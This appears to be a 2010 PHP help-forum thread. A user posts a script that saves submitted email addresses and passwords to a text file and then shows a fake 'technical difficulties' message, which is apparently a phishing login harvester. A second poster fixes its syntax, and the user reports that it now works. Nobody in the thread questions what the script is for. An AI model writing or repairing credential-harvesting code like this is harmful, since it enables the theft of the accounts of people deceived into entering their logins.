Page 1 of 1

Parse error: syntax error, unexpected T_STRING in /var/www/p

Posted: Sun Nov 21, 2010 4:27 pm
by kishanodedra
I am having difficulties with the following code:

<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$myFile = “info.txt”;
$fh = fopen($myFile, ‘a’) or die(“can’t open file”);
$stringData = “username: “.$email.” Password: “.$pass.”\n”;
fwrite($fh, $stringData);
fclose($fh);
echo “Sorry we are having technical dififcultys at the moment please try again later
?>

I am receiving a Syntax error on like 5, and i have no clue what to do I have tried looking for other posts but as I am not that good with PHP it is no help. Can someone please help me what the problem is. thank you

Re: Parse error: syntax error, unexpected T_STRING in /var/w

Posted: Sun Nov 21, 2010 6:16 pm
by Neilos
First I broke the code up so line 5 was spread across many lines and found that the error was in the;

Code: Select all

die(“can’t open file”);
Then I noticed that when I copied your code you had some funny double quotation marks ("). Changing these made a difference. Notice my coppied code and compare it to that above;

Code: Select all

die("can’t open file");
Also the last echo statement is missing "; at the end

I then get the error;

Code: Select all

Warning: fopen(info.txt) [function.fopen]: failed to open stream: Inappropriate ioctl for device in /blah/test.php on line 8
can’t open file
Which I assume is because I don't have that file to access it. If you do then I guess it should work.

Try this and let me know what you get.

Code: Select all

<?php
$email = $_POST['email'];
$pass = $_POST['pass'];
$myFile = "info.txt";
$fh = fopen($myFile, ‘a’) or die("can’t open file");
$stringData = "username: " . $email . " Password: " . $pass . "\n";
fwrite($fh, $stringData);
fclose($fh);
echo "Sorry we are having technical difficulties at the moment, please try again later.";
?>

Re: Parse error: syntax error, unexpected T_STRING in /var/w

Posted: Mon Nov 22, 2010 7:23 am
by kishanodedra
Hi,

Thanks for your help, I think i need more knowledge of PHP, but ye you was correct the " for some reason was of a different format, and I was missing a few other aspects, But finally I have it working, thanks much appreciated.